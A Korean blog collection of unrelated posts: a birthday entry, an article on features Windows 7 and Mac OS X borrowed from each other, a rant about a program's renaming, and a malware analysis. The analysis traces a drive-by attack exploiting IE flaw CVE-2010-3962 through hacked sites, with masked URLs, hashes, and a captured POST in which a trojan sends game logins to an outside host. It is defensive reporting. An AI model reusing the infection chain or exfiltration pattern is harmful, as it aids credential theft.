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시간가는줄도 모르고 살다보니 어제 저녁에서야 제 생일이 오늘이라는 깨달음을 얻었습니다.ㄷㄷ

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생일이긴 한데..
본인도 잊고 살던 생일인데 다른 사람이 기억해주긴 하늘의 별따기 아니것습니까?
ㅠㅠ

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그.러.나!!
1명 기억해주었습니다!! 흑흑 이 얼마나 감격스러운지!!
필통이 안그래도 박살이 나서 곤란햇는데 선물이 필통이라니!
역시 좋은 친구를..
허나.. 그 댓가로..
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생일빵~ 퍽퍽..!!
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포스팅거리도 벌써 떨어져 가는데 고3이다보니..
이건 뭐.. 이건 블로그야 웹사이트야..;;
포스팅 거리 생각나도 핸펀 메모장에 적어두고 그걸 쓸일이 없어지고..
나중엔 아예 시기가 늦어서 삭제하니 블로그가 살아나질 못하네요.
요즘은 즉흥적으로 포스팅은 하곤 있지만..
거의 못하는거나 마찬가지니 휴우...
언능 고3을 탈피해야지 원;;
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오늘 어느 한 블로거의 글을 보면서 참 우리나라 정부 한심하다고 봅니다.
수년전부터 중국/한국 양측의 한글학자들이 그렇게 요구를 해도 한글 표준안을 안만들고 있었다는군요.
키보드도 한글을 치기 좋게 만든 키보드가 있음에도 불구하고 우리가 쓰는건 엉뚱한 버전이라는군요;;
학계에서 아무리 노력을 해도 인가가 안되나봅니다..
실제 한글 키보드는 이미 3종이나 있다는군요?

결국 중국측에서는 조선어/문화어 를 위해 중국국내표준을 제정하기로했다고 하네요..
http://www.ddokbaro.com/2889
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?!
아하!

햇살속의 레알!

이러면 애플이라도 이길수가 없잖아....
진짜 저렇게 광고하면 많이 팔리겠지...
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맥 열성팬들과 윈도우 열광자들이 인정하고 싶어하지 않지만 사실 윈도우 7과 맥 OS X 10.6 스노우 레오파드는 상대방 OS에서 시작된 기능을 포함하고 있다. 몇 가지 기능은 상당히 오래 전에 차용되어서 컴퓨터 환경의 기반이 되었기 때문에 어느 쪽이 무엇을 발명했다고 말하기가 쉽지 않다. 윈도우 7의 가장 자랑거리인 새로운 기능 2가지 작업표시줄과 에어로 피크(Aero Peek)는 분명히 맥 OS X의 도크(Dock)와 익스포즈(Expose)를 바탕으로 하고 있다. 애플의 윈도우 모방은 윈도우 주소표시줄을 2007년에 맥 OS X 10.5 레오파드의 경로표시줄(path bar)로 복제한 것처럼 최근의 사실이 아니다.

이러한 차용은 상호적인 것으로서 맥 파인더(Mac Finder)의 드라이브 단축키로서 2003년에 맥 OS X 10.3 팬더(Panther)에 등장한 사이드바(Sidebar)는 2년 전에 발표된 윈도우 XP의 탐색창(Navigation pane)의 외관으로부터 “영감”을 얻은 것이다.

또한 2006년의 윈도우 비스타의 미리보기는 2000년의 맥 OS X 10.0 치타의 미리보기 기능에서 차용한 것이다.

가장 심한 모방은 윈도우 7의 작업표시줄과 에어로 피크(Aero Peek), 그리고 맥 OS X의 커맨드 탭과 맥의 시스템 속성(System Preferences)이다.

양측히 서로 주고받은 기능이 무엇이 있는지 자세히 들여다 보도록 하자.

애플이 윈도우에서 훔친 10가지 기능

아래는 맥 OS X와 윈도우의 싸움에서 마이크로소프트가 먼저 혁신적인 기능을 제공했다고 생각되는 것들이다.

스티브 잡스는 언젠가 마이크로소프트가 애플의 윈도우를 모방했다고 말했지만 양쪽은 여러 해에 걸쳐 서로 아이디어를 차용해왔다. 윈도우 7과 맥 OS X 10.6 스노우 레오파드는 서로 상대방 OS에서 시작된 기능을 포함하고 있다. 몇 가지 기능은 상당히 오래 전에 차용되어서 컴퓨터 환경의 기반이 되었기 때문에 어느 쪽이 무엇을 발명했다고 말하기가 쉽지 않다. 다음은 마이크로소프트의 업적으로 생각되는 것들이다.

1. 찾기표시줄(Finder Sidebar)과 윈도우 탐색 창

찾기표시줄은 윈도우 탐색 창처럼 폴더 창의 왼쪽에 자리잡고 있으며 다른 폴더를 탐색하기 위한 계층식 아이콘을 제공한다. 이들 2가지 기능을 이용하면 컴퓨터의 어떤 폴더도 탐색할 수 있다. 맥 OS X 10.3 팬더의 찾기 표시줄은 윈도우 XP에 탐색 창이 등장한지 2년 뒤에 나타났다. 마이크로소프트는 애플로부터 삼각 기호를 차용했는데 윈도우는 비스타 이전까지 목록을 펼치거나 닫기 위해 플러스와 마이너스 기호를 사용했다.

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2. 맥 경로표시줄(Path bar)과 윈도우 주소표시줄

맥 OS X 10.5 레오파드는 선택된 특정 파일이나 폴더의 경로를 표시하기 위해 폴더 창 아래 부분에 선택적인 경로표시줄을 추가했다. 경로에서 특정 폴더를 더블 클릭하면 그 폴더가 열린다. 경로에서 파일을 드래그하거나 선택적으로 드래그해서 원하는 폴더로 옮기거나 복사할 수 있다. 이 기능은 먼저 윈도우 비스타에서 주소표시줄로 선보였는데 이는 레오파드가 출하되기 약 1년 전이다. 윈도우 버전은 약간 더 많은 기능을 가지고 있어서 특정 경로에서 특정 폴더 옆의 화살표를 클릭하면 그 폴더 내부의 모든 것에 도달할 수 있다.

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3. 폴더 창의 전후 탐색 단추

마이크로소프트가 먼저 윈도우 2000의 폴더 창에 웹 브라우저의 전방과 후방 단추를 추가했다. 애플은 이상하게도 처음에는 원형 Mac OS X에 후방 단추만을 포함시켰다. 버전 10.2 재규어에 이르러서야 전방 단추가 추가되었다.

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4. 문서 창을 애플리케이션 아이콘으로 최소화

맥 OS X 10.6 스노우 레오파드는 최소화를 위해 선택 사항을 추가했는데 이는 기본적으로 꺼진다. 도크에 새로운 아이콘을 만드는 대신 윈도우가 작업표시줄에서 하는 것처럼 해당 어플리케이션 아이콘으로 최소화되는 문서 창을 유지할 수 있다.

AP7388.JPG

5. 화면공유 기능과 원격 데스크톱 접속

애플은 맥 OS X 10.5 레오파드에 많이 알려지지는 않았지만 유용하며 iChat를 통해서도 사용할 수 있는 화면공유 기능을 추가했는데 이는 System/Library/CoreServices에서 찾아볼 수 있다. 화면공유 기능은 네트워크에 접속된 맥 OS X 10.4 타이거 또는 그 이후 버전이 실행되는 다른 매킨토시를 탐색하고 제어할 수 있게 한다. 윈도우 사용자들은 윈도우 XP에 이르러서 원격 데스크톱 접속으로 이 기능을 사용할 수 있게 되었다. 사실은 마이크로소프트가 애플이 이 기능을 레오파드에 추가하기 전에 원격 데스크톱 접속의 무료 매킨토시 버전을 제공했다.

AP6D22.JPG

6. 타임 머신과 백업 및 복원

애플은 타임 머신을 윈도우에서 모방하지 않았으며 단지 운영 체제에 백업 기능을 포함시키는 개념만을 차용했다. 타임 머신은 윈도우 7의 백업과 복원 기능보다 사용하기가 훨씬 더 쉬우며 어떤 기능은 더 유연하다고 할 수 있다. 그러나 윈도우가 먼저 백업 기능을 제공했다.

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7. 시스템 속성(System Preferences) 기능과 제어판

매킨토시 시스템 설정값은 맥 OS X 이전까지는 제어판이라고 하는 일련의 별도 파일에 포함되어 있었다. 마이크로소프트는 제어판이라는 이름을 차용했지만 모든 설정값을 하나의 편리한 장소에 집어넣었다. 애플은 맥 OS X 10.0 치타를 위해 마이크로소프트의 아이디어를 차용해서 이를 시스템 속성이라고 이름지었다. 맥의 시스템 속성은 윈도우 제어판과 달리 추가적인 창을 열지 않으며 더 간단한 사용자 인터페이스를 보유하는 경향이 있다.

AP5A61.JPG

8. 액티브싱크(ActiveSync)와 익스체인지 2007 지원

맥은 익스체인지 서버에 관해서라면 오랫동안 윈도우에 밀리고 있었으나 맥 OS X 10.6 스노우 레오파드에 이르러서 익스체인지 서버 2007의 그룹 일정잡기, 접속과 메일 서비스의 기본 지원 기능이 추가되었다. 이에 뒤질세라 마이크로소프트는 스노우 레오파드가 출하되기 2주전에 맥 OS X에 아웃룩을 제공할 예정이라고 발표했다.

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9. 커맨드 탭과 Alt 탭

Alt 탭은 1990년의 윈도우 3에서부터 사용자가 실행 애플리케이션 사이를 쉽게 전환할 수 있게 했다. 애플은 2003년에 맥 OS X 10.3 팬더에서 커맨드 탭을 사용하여 이 기능을 추가했다. 최신 버전에서는 커맨드 탭이 가로 메뉴의 아이콘을 제공한다. 그러나 애플은 커맨드와 화살표 키로 메뉴를 탐색할 수 있는 기능을 추가했는데 마이크로소프트가 이를 모방해서 비스타에 추가했다. 윈도우 비스타는 플립 카드 3D 기능을 가진 창 자체의 미리보기 기능을 에어로(Aero) 주제에 추가했다.

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10. 터미널(Terminal)과 커맨드 프롬프트(Command Prompt)

나이많은 사람들은 윈도우가 MS-DOS 커맨드 행 OS의 윗부분에서 실행되는 GUI에서 비롯되었다는 사실을 기억할 것이다. 오늘날의 커맨드 프롬프트는 더 이상 DOS가 아니라 윈도우 자체에 커맨드 행 액세스 기능을 제공한다. 애플은 맥 운영 체제의 버전 1에서부터 버전 9에 이르기까지 커맨드 행 인터페이스를 기피했지만 맥 OS X의 강력한 유닉스 기반에 액세스를 제공하기 위해 마침내 터미널을 제시하고 추가했다. 마이크로소프트는 2006년에 윈도우 파워셀(PowerShell)을 공개했는데 이는 스크립트 언어를 포함하고 있으며 몇 가지 강력한 (유닉스) 셀 명령을 지원한다.

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원문보기 : http://www.idg.co.kr/newscenter/common/newCommonView.do?newsId=59782

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랄까.. 이제 초석을 다졌습니다..

레이아웃을 만들어보고 있는데요

이제 하단 메뉴바 이미지 사이즈좀 늘리고(어쩌다보니 원본 이미지 자체가 쪼그라들었네요..)

메뉴나오게 해야하는데.. 하아..

힘들다..ㄷㄷ

 

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윈도우7 테마입니다.

www.os21.com 사이트에서 아이디어를 얻어서 한번 만들어 보고 있어요

저는 최대한 실제 윈도우와 비슷하게 해보고는 싶은데 실력이 안되니 벌써 막혀버렸더랍니다..ㄷㄷ

결국 저렇게 사이트 메인페이지로 전락? 해버렸더랍니다..ㄷㄷ

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애니타운이라는 네이버 카페에 급 실망입니다.
애니파티와의 합병설은 예전부터 알고 있었습니다.
오늘 오랜만에 애니파티 블로그에 들어가보니 참 웃기고 기가막혀 코가 뚫일 사실을 목격하고 말았습니다.
애니타운과의 합병하면서 애니파티 모에적성검사를 애니타운 모에적성 검사로 바꾸려고 했다더군요.
참내 여기 운영자가 개념을 상실했다고 보고 싶습니다.


개발자 입장에서 보자면 사소한 프로그램이라도 본인의 정성이 담기고 애정이 담긴 프로그램입니다.
하물며 웹 프로그램도 결국 프로그램이고 개발자가 개발하는 S/W입니다.
물론, 해당 프로그램은 당연히 만든 당사자 혹은 그룹/팀/회사에서 가지게 됩니다.
그 어떤 경우에도 합병한다고 해서 그에 사용된 프로그램의 명칭이 바뀐다거나 원 제작자 이름을 삭제하는 경우는 없습니다.


예를 들어볼까요?


다음의 티스토리의 경우 테터툴즈라는 오픈소스 프로그램의 기본적인 구조와 동작 방식을 채택해 재 프로그래밍하여 티스토리라는 브랜드 및 프로그램을 탄생시켰습니다.
이 경우 저작권자가 GPL을 제시함으로써 따로 허가가 없어도 수정 및 배포등이 가능합니다.
물론, 이름도 바꿔도 됩니다. 본인이 개발한거나 다름없으니까요.
단, 프로그램에 원 저작권자를 표기해야합니다.
이 또한 이루어 지고 있습니다.


구글의 텍스트큐브를 보죠.
이곳 또한 테터툴즈의 새 명칭인 텍스트큐브를 재개발해서 서비스했습니다.
물론 이곳도 역시 원 제작자 및 프로그램을 textcube.org로 당당히 밝힌 바 있습니다.


자, 그럼 다시 본론으로 돌아와 보죠.
애니타운은 애니파티 모에적성검사 프로그램에 일체 개발도 하지 않았고 해당 프로그램은 GPL등의 공개 라이센스를 따르는 프로그램이 아닙니다.
저작권은 당연히 있고 개발자가 원한다면 돈을 받고 팔아도 되며 이용료를 받고 계약할 수도 있습니다.
하지만 과거 일부 회원의 수치스러운 행동으로 인하여 운영진이 그 책임을 물고 있고
그에 따라 애니타운에서 먼저 손을 내민건지 애니파티에서 다가간건지는 알 수 없으나, 합병이 이루어지게 되었습니다.


그렇다고해서 저작권까지 넘어간다는 것은 아닙니다.
애니파티에서 저작권까지 완전히 넘기고 싶어하지 않는 이상 합병을 하면서 이용권을 주고 대신 대금을 안받는 것입니다.
만약 애니타운에서 해당 프로그램 이름을 바꿀 계획이 있다면, 그리고 애니파티에서 저작권을 팔거나 계약할 의사 또한 있다면, 애니타운은 그에 정당한 대금을 주고 애니파티와 계약을 채결해야합니다.
그렇지 않는 이상 애니타운에서 애니타운 모에적성검사로 이름을 바꿀 권리 및 요구를 제시할 권한은 없습니다.


간단한 웹 솔루션 프로그램도 100만원선을 그냥 넘어갑니다.
하물며 애니파티 운영진들의 혼이 담겨 있고 정성이 담겨 있고 많은 분들의 사랑을 받고 있는.
그런 프로그램을 애니타운에서 누워서 떡먹듯이 꿀꺽 하려는걸 저는 그냥 넘어갈 수가 없었습니다.

저는 여기서 이 글을 보시고 있는, 혹은 보실수도 있는 애니타운 여러분께 여쭙고 싶습니다.
애니타운은 하나의 카페로 알고 있습니다.
카페는 본인들의 프로그램으로 구성되는게 아닌 외부에서 공개해준 위젯과 네이버에서 제공해주는 솔루션으로 동작하지요.
그렇다보니 혹시 당신들의 저작권에 대한 의식이 결여된게 아닌가 싶습니다.


카페야 포털사이트에서 무상으로 지원해주는 것이고 잠시 방문해서 즐기고 놀고 하다가 가는 일종의 미니홈피/블로그입니다.
하지만 웹 프로그램을 그렇게 만만히 보지 마시기 바랍니다.
간단한 기능의 프로그램도 많이 만들어보지 않으면 상당한 시간이 걸립니다.


지금 당신들이 이용하는 카페의 기본적인 부분도 상당한 수준급 개발자가 아니면 한시간이고 두시간이고 붙잡아야 만들 수 있습니다.
지금 당신들이 이용하는 카페의 위젯도 몇시간이고 앉아서 키보드와 마우스/타블릿를 튕겨야 만들 수 있습니다.
지금 당신들이 이용하는 카페의 게시판도 개발자가 몇시간씩 앉아서 비교분석하고 오작동 유무를 테스트하고 버그를 잡는 과정을 거쳐야 만들 수 있습니다.
지금!! 당신등이 이용하는 네이버에서 제공하는 파비콘 하나 하나가! 만드는데 적게는 30분 길게는 1~2시간을 잡아먹습니다.


당신들은 직접 만들지 않아서 저작권에 대한 개념이 결여된 것입니까? 아니면.
당신들이 웹 프로그램을 가벼이 혹은 하찮게 보아서 결여된 것입니까? 아니면!
당신들을 위해 포털사이트업체에서 무상으로 이것 저것 만들어주면서 뒤치닥꺼리 해주니까 그게 뭐 대수라고 여김으로써 결여된 것입니까?


프로그램 개발자에게 있어 본인이 정성을 들여 만든 프로그램은 자기 자신의 분신이요, 아들이요, 딸입니다.
그런 프로그램의 이름을. 그것도 개발팀 이름을 바꾸려 했다는 것은 남의 자식의 이름을 멋대로 개명하겠다고 우기는 것이나 다름이 없습니다.

애니메이션이나 만화야 한국에 살다보면 한번쯤은 불법 다운로드를 하셨을수도 있습니다.
물론 정발을 구매하신 분도 계시겠지요.
하지만 이 사실을 알아야 합니다.
사소한 프로그램일지라도. 재미가 별로 없거나 막장인 애니메이션이라 할지라도.
그 하나하나에 개발자의, 스텝의 땀이 베여 있습니다.
프로그램 이름이라 할지라도 이것을 사소히 여기지 마시기 바랍니다.
그것은 그 프로그램을 더럽히는 일이고 개발자의 정성을 하찮이 여기는 일입니다.


저는 애니파티의 운영진도 아니니 이런말을 할 자격이 없습니다.
그냥 다른 네티즌처럼 지켜보다가, 속으로 삭이다가, 무시하다가.
그러다가 오픈하면 다시 전처럼 이용하여 지내도 됩니다.
하지만 이런 엉터리에 잘못된 개념을 가진 곳을 보고 같은 개발자 입장에서 참을 수 없었습니다.
이글이 웹상에 퍼져 애니파티와 애니타운간의 분쟁이 생기게 된다면 애니파티측에는 책임을 넘기지 마시기 바랍니다.
이것은 일개회원의 독단적인 판단입니다.


허나, 당신들은 알아야 합니다.

당신들이 얼마나 큰 무례를 저질렀는지를..


P.S. 이 글을 쓰고 나서 보니 따로 사이트가 있더군요.
별도의 사이트까지 갖춘곳에서 그런 무례를 범하다니 더욱 어이가 없어집니다.

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꽤 예전에 본건데.. 자막 있는걸 발견해서 한번 올려봅니다~~~
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체험단
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11월 초에 공개된 Internet Explorer 제로데이(0-Day) 취약점 CVE-2010-3962은 전 세계적으로 한국과 중국에서 가장 활발하게 악용되는 것으로 최근 마이크로소프트(Microsoft)에서 발표를 한 적이 있습니다.

최근에는 해당 취약점과 더불어 추가적인 악성 스크립트를 포함하여 보안 제품의 진단을 우회하는 경향이 강하게 나타나고 있으므로 인터넷 사용자들은 반드시 유명 보안 제품의 실시간 감시 기능을 활성화하시고 이용하시기 바랍니다.

참고로 CVE-2010-3962 취약점은 12월 15일에 12월 마이크로소프트 정기 업데이트에서 보안 패치가 제공되는 것으로 알려져 있으므로 반드시 설치하시기 바랍니다.

이번 주말을 이용한 악성코드 유포 중 눈에 띄는 사례는 국내 유명 J 언론 사이트를 해킹하여 악성 스크립트(1.html / 2.html)를 등록하고, 또 다른 온라인 광고 서버의 특정 스크립트 파일 내부에 악성 iframe을 추가하여 다양한 인터넷 사이트에서 유포가 이루어지도록 구성한 점이 특징입니다.


해당 그림은 특정 광고 서버의 정상적인 스크립트 파일 내부에 Base64로 인코딩한 iframe을 추가하여 해당 광고가 포함된 인터넷 사이트를 방문할 경우 실행되도록 구성되어 있습니다.
[광고 서버 악성코드 유포 경로]

h**p://ad.**tive.co.kr/js/shiny_Rolling.js
 ㄴ h**p://ad.**tive.co.kr/js/h&#x74~(생략)~;ml

해당 iframe은 국내 J 언론 사이트가 해킹되어 등록된 파일로 연결이 이루어지고 있으며, 세부적인 유포 경로는 다음과 같습니다.

h**p://cutyline.zuzu***.jo***.com/illust/data/1212/index.html
 ㄴ h**p://cutyline.zuzu***.jo***.com/illust/data/1212/load.html
   ㄴ h**p://cutyline.zuzu***.jo***.com/illust/data/1212/1.html (Hauri ViRobot : JS.S.Agent.4543)
     ㄴ h**p://cutyline.zuzu***.jo***.com/illust/data/1212/k.js
     ㄴ h**p://down.play***.info/1210.exe
   ㄴ h**p://cutyline.zuzu***.jo***.com/illust/data/1212/2.html (nProtect : Script-JS/W32.Agent.AXB)
     ㄴ h**p://down.play***.info/1210.exe
 ㄴ h**p://s14.cnzz.com/stat.php?id=2508468&web_id=2508468

2.html 파일은 CVE-2010-3962 취약점을 이용한 것으로 Internet Explorer를 이용하여 접속한 사용자의 경우 보안 제품에서 진단하지 않는다면 자동으로 감염이 이루어지고 있는 상태입니다.

참고로 예전에는 CVE-2010-3962 취약점만을 이용하였지만 최근에는 추가적인 악성 스크립트를 통해 감염률을 증가시키는 것으로 보입니다.

해당 2개의 악성 스크립트를 통해 최종적으로 사용자 PC에 생성되는 1210.exe (SHA1 : 6f6d41f0a014ad80a1990047b74f59e11c673021) 파일에 대하여 안철수연구소(AhnLab) V3 보안 제품에서는 Win-Trojan/Agent.81920.ADW (VirusTotal : 24/43) 진단명으로 진단되고 있습니다.

출처 : 안철수연구소(AhnLab)


참고로 해당 진단명의 경우 현재 시간 진단 비율이 증가하고 있는 것을 확인할 수 있습니다.

[생성 파일 등록 정보]

C:\WINDOWS\system32\imm32.dll :: 수정된 악성 imm32.dll 파일 - 114,176 Bytes
C:\WINDOWS\system32\imm32.dll.log :: imm32.dll 백업 정상 파일 - 110,080 Bytes
C:\WINDOWS\system32\ole.dll

[생성 파일 진단 정보]

C:\WINDOWS\system32\imm32.dll (SHA1 : 9f16c4e71b42313ef75d0837525586726660c031)
 - AhnLab V3 : Trojan/Win32.Patched (VirusTotal : 22/41)

C:\WINDOWS\system32\ole.dll (SHA1 : 35dda46cd4f43320273f97304a37e7faa11f1e3a)
 - AhnLab V3 : Win-Trojan/Agent.53248.ASE (VirusTotal : 17/43)

  • <안철수연구소 ASEC 대응팀> 악성코드로 인한 imm32.dll 파일 변조 조치 가이드
  • <안철수연구소> Win-Trojan/Patched.AT 전용 백신
  • 악성코드 유포 : CVE-2010-3962 제로데이 취약점을 이용한 온라인 게임 계정 탈취 (2010.11.13)
  • 해당 악성코드는 기존부터 이용되던 imm32.dll 정상 파일을 악성 파일로 바꿔치기를 하여 것을 확인할 수 있으며, 해당 파일 변조에 대해 보안 업체에서는 전용 백신 및 수동 조치 방법을 공개하고 있습니다.

    감염된 PC에서는 V3 보안 제품 등을 무력화하여 자신을 보호하며, 사용자가 웹 브라우저를 실행하여 다양한 온라인 게임 사이트에서 로그인을 시도할 경우 계정 정보를 외부로 유출하는 것으로 알려져 있습니다.

    ole.dll

    [한게임 로그인시 네트워크 연결 정보]

    POST /hgrt/lin.asp?CODE=HQTITnHTLRTTQQ~(생략)~IpopIpmpopVRJpmQVRIT HTTP/1.1
    Accept: image/gif, */*
    Accept-Language: zh-cn
    Content-Type: multipart/form-data; boundary=---------------------------7d86c3324596
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0
    Host: with.freeoicq.info
    Content-Length: 194
    Connection: Keep-Alive
    Cache-Control: no-cache

    실제 한게임 사이트에서 사용자가 로그인을 시도할 경우 홍콩(HongKong)에 호스팅된 특정 서버로 정보가 유출되는 것을 확인할 수 있었습니다.

    그러므로 위와 같은 악성코드에 감염된 사용자는 치료가 완료될 때까지 절대로 온라인 게임 등 인터넷 사이트 로그인을 하지 않도록 주의하시기 바라며, 조만간 공개될 보안 패치 업데이트를 반드시 설치하시고 인터넷을 이용하시기 바랍니다.

    http://hummingbird.tistory.com
    ,
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    It's the Only NEET Thing to do. written by 나즈나
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